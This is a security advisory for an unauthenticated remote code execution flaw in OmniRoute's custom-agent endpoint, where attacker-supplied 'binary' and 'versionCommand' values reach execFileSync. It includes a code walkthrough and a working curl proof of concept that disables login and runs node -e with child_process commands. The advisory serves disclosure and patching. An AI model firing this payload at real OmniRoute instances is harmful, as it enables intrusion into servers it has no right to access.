GHSA-hf57-cqmx-p4gr

Dashboard / Vulnerabilities / GHSA-hf57-cqmx-p4gr

GHSA-hf57-cqmx-p4gr

Summary: OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

Details: ## 2. Summary `POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled `binary` and `versionCommand` values. After saving the custom agent, the same request calls `refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs: ```ts execFileSync(probe.command, probe.args, ...) ``` The only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the first token of `versionCommand` matches the request-provided `binary`. Because `binary` is also attacker-controlled, an attacker can submit: ```json { "binary": "node", "versionCommand": "node -e \"...arbitrary JavaScript...\"" } ``` This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via `child_process.execSync()`. When `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the same time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request. ## 3. Preconditions The unauthenticated exploit is reachable in either of the following scenarios: 1. The target instance has `requireLogin=false`. This is the primary scenario covered by this report and by the reproduction steps below. 2. A fresh instance has no management password configured yet. During this bootstrap window, `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set `requireLogin=false` and then call the vulnerable endpoint. If the instance is in the default `requireLogin=true` state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here. ## 4. Technical Analysis ### 4.1 The Endpoint Accepts User-Controlled Command Fields `src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`, `versionCommand`, and `spawnArgs`: ```ts const customAgentBodySchema = z.object({ action: z.string().optional(), id: z.string().optional(), name: z.string().optional(), binary: z.string().optional(), versionCommand: z.string().optional(), providerAlias: z.string().optional(), spawnArgs: z.array(z.string()).optional(), protocol: z.enum(["stdio", "http"]).optional(), }); ``` The `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`: ```ts export async function POST(request: Request) { if (!(await isAuthenticated(request))) { return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); } ``` The handler then stores `binary` and `versionCommand` in the custom agent definition without an executable allowlist: ```ts const newAgent: CustomAgentDef = { id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"), name, binary, versionCommand, providerAlias: providerAlias || id, spawnArgs: spawnArgs || [], protocol: protocol || "stdio", }; ``` This logic is in `src/app/api/acp/agents/route.ts:92-100`. ### 4.2 The Only Guard Is a Self-Consistency Check The only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`: ```ts if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) { return NextResponse.json( { error: "Invalid versionCommand: use the configured binary with plain arguments only" }, { status: 400 } ); } ``` The core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`: ```ts export function resolveVersionProbe( binary: string, versionCommand: string, requireBinaryMatch = false ): { command: string; args: string[] } | null { const tokens = tokenizeVersionCommand(versionCommand); if (!tokens) { return null; } const [command, ...args] = tokens; if (!command) { return null; } if (requireBinaryMatch) { const normalizedCommand = normalizeCommandToken(command); const allowed = new Set([ normalizeCommandToken(binary), normalizeCommandToken(path.basename(binary)), ]); if (!allowed.has(normalizedCommand)) { return null; } } return { command, args }; } ``` This check only requires the first token of `versionCommand` to equal `binary` or `path.basename(binary)`. Since `binary` is also attacker-controlled, `binary="node"` and `versionCommand="node -e \"...\""` pass validation. `tokenizeVersionCommand()` only blocks a small set of shell metacharacters (`src/lib/acp/registry.ts:183-254`): ```ts const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/; ``` This does not prevent `node -e` code execution, because characters needed for the payload, such as `(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed. ### 4.3 The Same Request Immediately Triggers Command Execution After saving the custom agent, the route calls `refreshAgentCache()` at `src/app/api/acp/agents/route.ts:121-127`: ```ts const updated = [...current, newAgent]; await updateSettings({ customAgents: updated }); setCustomAgents(updated); const agents = refreshAgentCache(); return NextResponse.json({ agents, added: newAgent }); ``` `refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`: ```ts export function refreshAgentCache(): CliAgentInfo[] { _cachedAgents = null; return detectInstalledAgents(); } ``` `detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one (`src/lib/acp/registry.ts:342-360`): ```ts const allDefs = [ ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })), ..._customAgentDefs.map((d) => ({ ...d, _custom: true })), ]; _cachedAgents = allDefs.map((def) => { const { _custom, ...rest } = def; return detectAgent(rest, _custom); }); ``` The command execution sink is at `src/lib/acp/registry.ts:307-325`: ```ts const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom); if (!probe) { return { ...def, version, installed, isCustom }; } const output = execFileSync(probe.command, probe.args, { timeout: 5000, encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}), }).trim(); ``` On Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms (`src/lib/acp/registry.ts:290-301`): ```ts export function shouldUseShellForVersionProbe( command: string, platform = process.platform ): boolean { if (platform !== "win32") return false; ... } ``` Therefore the effective execution is `execFileSync("node", ["-e", "..."])`. No shell metacharacters are required. ### 4.4 Why This Is Unauthenticated `isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`: ```ts export async function isAuthenticated(request: Request): Promise<boolean> { if (!(await isAuthRequired(request))) { return true; } ... } ``` `isAuthRequired()` returns `false` when `requireLogin=false` (`src/shared/utils/apiAuth.ts:317-323`): ```ts const settings = await getSettings(); if (settings.requireLogin === false) return false; ``` The centralized management policy also has the same anonymous allow branch at `src/server/authz/policies/management.ts:223-226`: ```ts if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) { return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" }); } ``` Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. `src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`, `/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but it does not include `/api/acp/`: ```ts export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [ "/api/mcp/", "/api/cli-tools/runtime/", "/api/services/", "/dashboard/providers/services/", "/api/copilot/", "/api/tools/agent-bridge/", "/api/tools/traffic-inspector/", "/api/plugins/", "/api/plugins", "/api/system/version", "/api/db-backups/exportAll", "/api/local/", "/api/headroom/start", "/api/headroom/stop", "/api/oauth/cursor/auto-import", ]; ``` `SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/` (`src/shared/constants/spawnCapablePrefixes.ts:26-35`). This means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead of being rejected by the LOCAL_ONLY gate. ## 5. Reproduction Environment The issue can be reproduced in a local Docker environment: - OmniRoute image: `diegosouzapw/omniroute:latest` - Exposed port: `20128` - Container data directory: `/app/data` - PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to `/app/data/UNAUTH_RCE_PROOF.txt` ## 6. Reproduction Steps ### 6.1 Start a Test Instance ```bash JWT=$(openssl rand -base64 48) AKS=$(openssl rand -hex 32) docker network create omniroute-poc-net docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine docker run -d --name omniroute-poc --network omniroute-poc-net \ -p 20128:20128 -p 20129:20129 \ -e JWT_SECRET="$JWT" \ -e API_KEY_SECRET="$AKS" \ -e REDIS_URL="redis://omniroute-poc-redis:6379" \ diegosouzapw/omniroute:latest ``` Wait for startup: ```bash until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \ curl -sf http://localhost:20128/ >/dev/null 2>&1; do sleep 2 done ``` ### 6.2 Put the Instance in the Login-Disabled State This step models a self-hosted instance where dashboard login has been disabled: ```bash curl -s -X POST "http://localhost:20128/api/settings/require-login" \ -H "content-type: application/json" \ -d '{"requireLogin":false}' ``` If the target is already in `requireLogin=false`, this step is not needed. ### 6.3 Trigger RCE Anonymously The following request sends no cookie and no Bearer token: ```bash curl -s -X POST "http://localhost:20128/api/acp/agents" \ -H "content-type: application/json" \ -d '{ "id":"anonrce", "name":"anonrce", "binary":"node", "protocol":"stdio", "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\"" }' ``` ### 6.4 Verify Command Execution ```bash docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt ``` Expected output is similar to: ```text uid=1000(node) gid=1000(node) groups=1000(node) Linux <container-id> <kernel-version> ... <arch> GNU/Linux ``` This proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute container. <img width="2123" height="1195" alt="image" src="https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f" />

References: https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr, https://github.com/diegosouzapw/OmniRoute/pull/11028, https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed, https://github.com/diegosouzapw/OmniRoute